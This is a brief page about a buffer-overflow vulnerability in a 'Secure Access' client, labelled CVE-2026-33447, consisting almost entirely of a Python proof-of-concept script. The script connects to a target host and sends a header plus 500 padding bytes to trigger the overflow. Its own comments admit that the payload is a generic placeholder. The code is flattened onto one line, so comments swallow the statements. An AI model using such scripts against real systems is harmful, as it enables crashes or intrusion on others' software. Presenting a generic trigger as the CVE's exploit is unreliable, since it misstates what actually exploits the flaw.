CVE-2026-33447 Secure Access客户端缓冲区溢出漏洞

import socket # PoC for CVE-2026-33447 # This script simulates a malicious server sending a crafted packet # to trigger the buffer overflow in the Secure Access Client. def send_exploit(target_ip, target_port): try: # Create a socket connection to the target client s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft the malicious packet # The specific offset and payload size depend on the target version # This is a generic representation of the overflow trigger header = b"\x00\x01\x02\x03" # Example header bytes overflow_payload = b"A" * 500 # Padding to trigger the overflow special_packet = header + overflow_payload # Send the malicious packet s.send(special_packet) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 send_exploit(TARGET_IP, TARGET_PORT)